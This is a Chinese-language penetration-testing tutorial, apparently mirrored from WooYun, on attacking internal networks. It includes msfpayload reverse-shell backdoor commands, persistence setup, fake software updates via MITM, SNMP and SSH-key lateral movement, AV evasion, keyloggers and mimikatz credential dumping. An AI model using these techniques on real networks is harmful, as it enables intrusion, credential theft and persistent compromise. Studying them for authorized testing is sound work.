內網滲透隨想

wyzsk發表於2020-08-19
作者: redrain有節操 · 2015/03/16 11:14

0x00 前言


之前看到微博有人私信我說內網滲透的技巧,zone也有很多小夥伴問了一些內網滲透的問題,所以我就斗膽寫了這篇文章,有不對的,還請各位斧正

整個內網滲透肯定不是一篇兩篇文章能夠講述清楚的,所以標題寫作隨想,想到哪兒寫哪兒

0x01 內網代理和轉發


image

*簡單區分一下正向代理和反向代理

1.1 正向代理(Forward Proxy)


Lhost--》proxy--》Rhost

Lhost為了訪問到Rhost,向proxy傳送了一個請求並且指定目標是Rhost,然後proxy向Rhost轉交請求並將獲得的內容返回給Lhost,簡單來說正向代理就是proxy代替了我們去訪問Rhost。

1.2 反向代理(reverse proxy)


Lhost<--->proxy<--->firewall<--->Rhost

和正向代理相反(廢話),Lhost只向proxy傳送普通的請求,具體讓他轉到哪裡,proxy自己判斷,然後將返回的資料遞交回來,這樣的好處就是在某些防火牆只允許proxy資料進出的時候可以有效的進行穿透

1.3 簡單區分


正向代理是我們自己(Lhost)戴套(proxy)插進去,反向代理是她(Rhost)主動透過上位(proxy)坐上來(Lhost)

zone裡內網滲透代理問題有人問了如何代理進行內網滲透的問題
誠然,要進行內網滲透,代理是我們最先需要解決的問題,常見的代理方式大概可以分為這麼幾種:

2. VPN隧道/SSH隧道


這種代理方式需要比較高的許可權(system/root)直接使用系統功能來開啟內網代理的隧道,配置VPN都比較簡單,這裡不做贅述,我們看一看透過SSH隧道進行代理

#!bash
ssh -qTfnN -L port:host:hostport -l user remote_ip   #正向隧道,監聽本地port
ssh -qTfnN -R port:host:hostport -l user remote_ip   #反向隧道,用於內網穿透防火牆限制之類
SSH -qTfnN -D port remotehost   #直接進行socks代理

引數詳解:
-q Quiet mode. 安靜模式
-T Disable pseudo-tty allocation. 不佔用 shell 了
-f Requests ssh to go to background just before command execution. 後臺執行,並推薦加上 -n 引數
-N Do not execute a remote command. 不執行遠端命令,埠轉發就用它了~

有時候,我們手邊沒有埠轉發的工具,也可以透過ssh來做埠轉發

#!bash
ssh -CfNg -L port1:127.0.0.1:port2 [email protected]    #本地轉發
ssh -CfNg -R port2:127.0.0.1:port1 [email protected]    #遠端轉發

大家可以參考這篇paper,非常棒SSH Port Forwarding

3. 透過HTTP service的代理


簡單來說就是在目標伺服器上傳一個webshell,透過shell來做所有的流量轉發到內網,常見的幾個工具有reGeorg,meterpreter,tunna等等,甚至直接寫一個簡單的代理指令碼,在自己機器上配置一下nginx直接進行反向代理

  • reGeorg自帶的說明已經很清楚了

    • Step 1. Upload tunnel.(aspx|ashx|jsp|php) to a webserver (How you do that is up to you)

    • Step 2. Configure you tools to use a socks proxy, use the ip address and port you specified when you started the reGeorgSocksProxy.py

    ** Note, if you tools, such as NMap doesn't support socks proxies, use [proxychains] (see wiki)

    • Step 3. Hack the planet :)

注意安裝urllib3即可(regeorg很方便,我基本都用這個)

  • meterpreter

msf非常強大,在進行內網滲透的時候不失為一個好的選擇,要用它進行代理,可以直接生成一個可執行檔案後門,然後返回meterpreter,也可以生成一個webshell來返回meterpreter,關於meterpreter,Dm老師已經說的非常清楚了metasploit 滲透測試筆記(meterpreter篇)

3.1 windows生成後門


#!bash
msfpayload windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> X > shell.exe

3.2 Linux生成後門


#!bash
msfpayload linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> R | msfencode -t elf -o shell

3.3 php後門


#!bash
msfpayload php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> R | msfencode -e php/base64(可簡單編碼) -t raw -o base64php.php

獲得meterpreter會話後,就是msf盡情施展的時候了,最常用的辦法,新增路由表後,直接在會話中用msf的各種攻擊模組進行掃描(注意,這裡是可以進行跨網段掃描的)

如果單純只是想要進行簡單的代理工作,auxiliary/server/socks4a模組即可

這裡講到meterpreter所以多說一句,之前說的ssh隧道,如果嫌命令難得記,也可以簡單的透過msf來建立tunnel

#!bash
load meta_ssh
use multi/ssh/login_password
設定好引數後exploit即可獲取會話進行代理操作
  • 直接透過webshell和nginx反向代理

http://zone.wooyun.org/content/11096

4. other tricks


python,ruby,perl等直接建立socks連線

lcx,tunna,htran等等進行埠流量轉發

shadowsocks,tor,goagent等等

直接現成的小東西:ssocks(一次比賽的時候死貓跟我推薦的)正向代理,反彈socks5均可

0x02 內網環境探測和資訊收集


因為一個完整的滲透很難涵蓋各種情況,所以這裡講的可能比較散,基本都是一些小技巧和思路

  • Nmap代理掃描進行主機發現

    proxychains nmap ***

    如果是meterpreter會話進行的代理,可直接透過/usr/share/metasploit-framework/modules/auxiliary/scanner指令碼來掃描即可

  • 檢視hosts獲取內網主機資訊

  • 直接攻擊網段路由或交換機,簡單繪製內網的結構(我在從TCL某漏洞看內網滲透教學分享之內網資訊探測和後滲透準備中就是獲取了cisco路由的privilege15許可權,得到了內網結構,進一步進行跨vlan攻擊)

  • 多嘗試交換機snmp弱口令,一旦成功,內網結構清晰

  • 關於snmp滲透

    什麼是snmp

    使用了snmp管理的裝置,只需要community string即可,所以針對這個string爆破或者社工都是可行的,預設public/private

    首先進行161埠掃描,發現snmp開放情況,透過弱口令檢視裝置資訊,在oid中讀取裝置密碼

    image

    例子:中國移動集團華為三層交換SNMP漏洞,可獲取管理帳號密碼,已成功登入

    可以透過這個nmap和msf指令碼進行自動攻擊h3c-pt-tools

  • 嘗試從主機的使用者目錄或者管理運維郵箱尋找敏感資訊(某次滲透即是keylogger運維後在測試機桌面獲取到拓撲和網段)

    image

  • 透過resolv.conf找到內網dns伺服器,或者字典窮舉dns

  • 注意分析使用者的.bash_history,一般可以分析出使用者的使用習慣,紀錄等,獲取~/.shh/,嘗試配合history的連線紀錄直接透過金鑰登陸其他機器

0x03 內網滲透的常見攻擊技巧


  • 透過之前的資訊收集和探測,判斷出主要的業務機器,如OA,dbserver,利用ssh信任,連入機器後匯出員工的userlist,做成針對性的字典,大部分內網的安全性都是脆弱的,且最容易出問題的就是口令安全(大公司也不例外)

    %username%1

    %username%12

    %username%123

    %username%1234

    %username%12345

    %username%123456

主要對ssh,dbserver,vnc,ftp進行爆破

image

  • 對開了web service的server進行常規滲透,有可以減少工作量的辦法就是先對機器批次識別banner,透過banner判斷出cms或中介軟體,直接利用exp

  • 中間人攻擊

常用ettercap,不建議做arp的mitm,可以嘗試dhcp mitm或者icmp mitm

也可以猥瑣一點,劫持外掛,攻擊閘道器,或者利用evilgrade去偽造軟體更新(如notepad++),然後捆綁上後門,直接打下工作機器,進入辦公網

image

image

簡單配置後用msf生成後門,start即可配合ettercap使用偽造軟體更新了

image

  • 常見服務漏洞攻擊

    smb/ms08067/ipc$/NetBIOS…………

但是在針對這些比較古老的漏洞攻擊時,很可能有AV攔截,所以在不同場景遇到的坑都不一樣

比如之前在西電DM牛告訴我,有AV,如果直接利用psexec返回會話,即會攔截,這時就可以利用powershell來bypass AVPowershell tricks::Bypass AV

0x04 後滲透準備和擴大戰果


一次完美的內網滲透肯定不是能夠一次性完成的,因為整個過程需要管理員的"配合"(口胡。。。)所以後滲透準備時很有必要的

1. 後門準備


msf的後門已經不錯,只需要稍加改造就能很好滿足我們的需求

普通msfpayload生成的後門不是持續性的,不利於我們下次繼續工作,所以需要一個持續性後門

msf的持續性後門有兩種,透過服務啟動(metsvc)和透過啟動項啟動(persistence)

透過服務的後門有個弊端,服務名稱是meterpreter,利用方式是: 上傳後門,透過metsvc安裝服務

#!bash
meterpreter > run metsvc
...(設定埠,並且上傳後門檔案)
use exploit/multi/handler
set PAYLOAD windows/metsvc_bind_tcp
exploit

透過啟動項的利用方式:

#!bash
meterpreter > run persistence -X -i 10 -p port -r hostip

use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
exploit

當然,直接生成的後門有可能會被殺,所以這裡我推薦一個很不錯的工具,veil,之前再一次小型apt中用這個生成了的後門直接bypass了360

linux下有兩個常用的後門

mafix rookit和Cymothoa,後者聽說可以克隆root使用者,不過大部分的backdoor基本都相當於一個加密nc,會新開埠,所以如果webshell存活,可以直接考慮用webshell維持許可權

2. 鍵盤記錄


keylogger在內網滲透過程中(尤其是比較大的內網),起到很關鍵的作用,因為搞定一個密碼,有可能就搞定了一個網段

ixkeylog是我常用的一個,linux>=2.63均可使用

或者使用meterpreter會話的自帶鍵盤記錄功能

keyscan_start
keyscan_dump

image

image

用meterpreter有個好處,就是在win中可以做記憶體注入,不會建立程式

這裡說一個小tips,如果覺得keylogger動作大,可以進系統後把一些你需要的管理工具,如navicat,putty,PLSQL,SecureCRT之類全部選成記住密碼

3. hash


mimikatz,不用多說,利用meterpreter可以直接load模組

Quarks PwDump

wce

0x05 something else


內網滲透涉及的面很廣,本文主要說到的是一些很簡單的問題和常規的思路

尚未談到的 域滲透 印表機 辦公網嗅探 入侵日誌清理等等

如果有機會,日後慢慢補全

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章